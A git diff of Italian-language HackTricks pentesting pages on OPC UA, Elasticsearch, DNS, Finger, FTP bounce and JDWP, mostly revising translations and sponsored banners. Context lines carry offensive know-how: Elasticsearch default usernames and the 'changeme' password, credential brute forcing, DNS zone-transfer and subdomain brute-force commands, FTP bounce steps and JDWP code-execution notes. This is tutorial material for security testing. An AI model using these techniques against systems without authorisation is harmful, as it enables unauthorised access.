{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Basic Information
|
||||
## Informazioni di base
|
||||
|
||||
**OPC UA**, che sta per **Open Platform Communications Unified Access**, è un protocollo open-source cruciale utilizzato in vari settori come Manifattura, Energia, Aerospaziale e Difesa per lo scambio di dati e il controllo delle attrezzature. Consente in modo unico la comunicazione tra le attrezzature di diversi fornitori, in particolare con i PLC.
|
||||
|
||||
La sua configurazione consente misure di sicurezza forti, ma spesso, per compatibilità con dispositivi più vecchi, queste vengono ridotte, esponendo i sistemi a rischi. Inoltre, trovare i servizi OPC UA può essere complicato poiché gli scanner di rete potrebbero non rilevarli se si trovano su porte non standard.
|
||||
|
||||
**Default port:** 4840
|
||||
**Porta predefinita:** 4840
|
||||
```text
|
||||
PORT STATE SERVICE REASON
|
||||
4840/tcp open unknown syn-ack
|
||||
|
@ -56,15 +56,15 @@ Per avere un'idea del dispositivo a cui hai accesso, leggi i valori del nodo "Se
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -36,15 +36,15 @@ PORT STATE SERVICE
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un impatto reale sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -52,7 +52,7 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
|
@ -25,7 +25,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
## Informazioni di base
|
||||
|
||||
Elasticsearch è un motore di ricerca e analisi **distribuito**, **open source** per **tutti i tipi di dati**. È noto per la sua **velocità**, **scalabilità** e **API REST semplici**. Costruito su Apache Lucene, è stato rilasciato per la prima volta nel 2010 da Elasticsearch N.V. (ora conosciuta come Elastic). Elasticsearch è il componente principale dell'Elastic Stack, una raccolta di strumenti open source per l'ingestione, l'arricchimento, l'archiviazione, l'analisi e la visualizzazione dei dati. Questo stack, comunemente chiamato ELK Stack, include anche Logstash e Kibana, e ora ha agenti di spedizione dati leggeri chiamati Beats.
|
||||
Elasticsearch è un **motore di ricerca** e **analisi** **distribuito** e **open source** per **tutti i tipi di dati**. È noto per la sua **velocità**, **scalabilità** e **API REST semplici**. Costruito su Apache Lucene, è stato rilasciato per la prima volta nel 2010 da Elasticsearch N.V. (ora conosciuta come Elastic). Elasticsearch è il componente principale dell'Elastic Stack, una raccolta di strumenti open source per l'ingestione, l'arricchimento, l'archiviazione, l'analisi e la visualizzazione dei dati. Questo stack, comunemente chiamato ELK Stack, include anche Logstash e Kibana, e ora ha agenti di spedizione dati leggeri chiamati Beats.
|
||||
|
||||
### Cos'è un indice Elasticsearch?
|
||||
|
||||
|
@ -60,7 +60,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
|
|||
```bash
|
||||
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
|
||||
```
|
||||
Questo significa che l'autenticazione è configurata e **hai bisogno di credenziali valide** per ottenere qualsiasi informazione da elasticsearch. Poi, puoi [**provare a fare bruteforce**](../generic-methodologies-and-resources/brute-force.md#elasticsearch) (usa l'autenticazione di base HTTP, quindi qualsiasi cosa che possa fare BF HTTP basic auth può essere utilizzata).\
|
||||
Questo significa che l'autenticazione è configurata e **hai bisogno di credenziali valide** per ottenere qualsiasi informazione da elasticsearch. Poi, puoi [**provare a fare bruteforce**](../generic-methodologies-and-resources/brute-force.md#elasticsearch) (utilizza l'autenticazione di base HTTP, quindi qualsiasi cosa che possa fare BF HTTP basic auth può essere utilizzata).\
|
||||
Qui hai un **elenco di nomi utente predefiniti**: _**elastic** (superuser), remote\_monitoring\_user, beats\_system, logstash\_system, kibana, kibana\_system, apm\_system,_ \_anonymous\_. Le versioni più vecchie di Elasticsearch hanno la password predefinita **changeme** per questo utente.
|
||||
```
|
||||
curl -X GET http://user:password@IP:9200/
|
||||
|
@ -190,9 +190,9 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue web app, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -39,7 +39,7 @@ PORT STATE SERVICE REASON
|
|||
* **DNS Root Servers**: Questi sono al vertice della gerarchia DNS, gestendo i domini di primo livello e intervenendo solo se i server di livello inferiore non rispondono. L'Internet Corporation for Assigned Names and Numbers (**ICANN**) supervisiona il loro funzionamento, con un conteggio globale di 13.
|
||||
* **Authoritative Nameservers**: Questi server hanno l'ultima parola per le query nelle loro zone designate, offrendo risposte definitive. Se non possono fornire una risposta, la query viene escalata ai server root.
|
||||
* **Non-authoritative Nameservers**: Mancando di proprietà sulle zone DNS, questi server raccolgono informazioni sui domini tramite query ad altri server.
|
||||
* **Caching DNS Server**: Questo tipo di server memorizza le risposte alle query precedenti per un tempo stabilito per velocizzare i tempi di risposta per le richieste future, con la durata della cache determinata dal server autorevole.
|
||||
* **Caching DNS Server**: Questo tipo di server memorizza le risposte alle query precedenti per un tempo prestabilito per accelerare i tempi di risposta per le richieste future, con la durata della cache determinata dal server autorevole.
|
||||
* **Forwarding Server**: Svolgendo un ruolo semplice, i server di inoltro trasmettono semplicemente le query a un altro server.
|
||||
* **Resolver**: Integrati all'interno di computer o router, i resolver eseguono la risoluzione dei nomi localmente e non sono considerati autorevoli.
|
||||
|
||||
|
@ -115,14 +115,14 @@ dnsrecon -r <IP_DNS>/24 -n <IP_DNS> #DNS reverse of all of the addresses
|
|||
dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Se riesci a trovare sottodomini che risolvono a indirizzi IP interni, dovresti provare a eseguire un reverse dns BF sui NS del dominio chiedendo per quel range IP.
|
||||
Se riesci a trovare sottodomini che risolvono a indirizzi IP interni, dovresti provare a eseguire un attacco di brute force DNS inverso sui NS del dominio chiedendo per quel range di IP.
|
||||
{% endhint %}
|
||||
|
||||
Un altro strumento per farlo: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
|
||||
|
||||
Puoi interrogare i range IP inversi su [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns) (questo strumento è utile anche con BGP).
|
||||
|
||||
### DNS - Subdomains BF
|
||||
### DNS - Brute Force Sottodomini
|
||||
```bash
|
||||
dnsenum --dnsserver <IP_DNS> --enum -p 0 -s 0 -o subdomains.txt -f subdomains-1000.txt <DOMAIN>
|
||||
dnsrecon -D subdomains-1000.txt -d <DOMAIN> -n <IP_DNS>
|
||||
|
@ -172,9 +172,9 @@ dig google.com A @<IP>
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un impatto reale sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche ed esploitabili con un reale impatto sul business.** Utilizza i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -289,9 +289,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un impatto reale sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -75,9 +75,9 @@ finger @internal@external
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche ed esploitabili con un impatto reale sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un impatto reale sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -91,7 +91,7 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,9 +15,9 @@ Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" dat
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto commerciale.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -43,14 +43,14 @@ Se hai accesso a un server FTP di rimbalzo, puoi farlo richiedere file da un alt
|
|||
5. Cattura il file sul tuo server FTP
|
||||
6. Elimina il file exploit dal server FTP intermedio
|
||||
|
||||
Per ulteriori informazioni dettagliate controlla il post: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html)
|
||||
Per informazioni più dettagliate controlla il post: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto commerciale.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -1,25 +1,25 @@
|
|||
# Pentesting JDWP - Java Debug Wire Protocol
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Supporta HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -43,14 +43,14 @@ Ho scoperto che l'uso di `--break-on 'java.lang.String.indexOf'` rende l'exploit
|
|||
|
||||
1. **Panoramica di JDWP**:
|
||||
- È un protocollo binario di rete basato su pacchetti, principalmente sincrono.
|
||||
- Mancano autenticazione e crittografia, rendendolo vulnerabile quando esposto a reti ostili.
|
||||
- Manca di autenticazione e crittografia, rendendolo vulnerabile quando esposto a reti ostili.
|
||||
|
||||
2. **Handshake JDWP**:
|
||||
- Viene utilizzato un semplice processo di handshake per avviare la comunicazione. Una stringa ASCII di 14 caratteri “JDWP-Handshake” viene scambiata tra il Debugger (client) e il Debuggee (server).
|
||||
|
||||
3. **Comunicazione JDWP**:
|
||||
- I messaggi hanno una struttura semplice con campi come Lunghezza, Id, Flag e CommandSet.
|
||||
- I valori di CommandSet vanno da 0x40 a 0x80, rappresentando diverse azioni ed eventi.
|
||||
- I valori di CommandSet variano da 0x40 a 0x80, rappresentando diverse azioni ed eventi.
|
||||
|
||||
4. **Sfruttamento**:
|
||||
- JDWP consente di caricare e invocare classi e bytecode arbitrari, ponendo rischi per la sicurezza.
|
||||
|
@ -80,7 +80,7 @@ Ho scoperto che l'uso di `--break-on 'java.lang.String.indexOf'` rende l'exploit
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
|
|
|
@ -15,16 +15,16 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud
|
||||
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
|
||||
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
**Trova e segnala vulnerabilità critiche e sfruttabili con un impatto reale sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
# Informazioni di base
|
||||
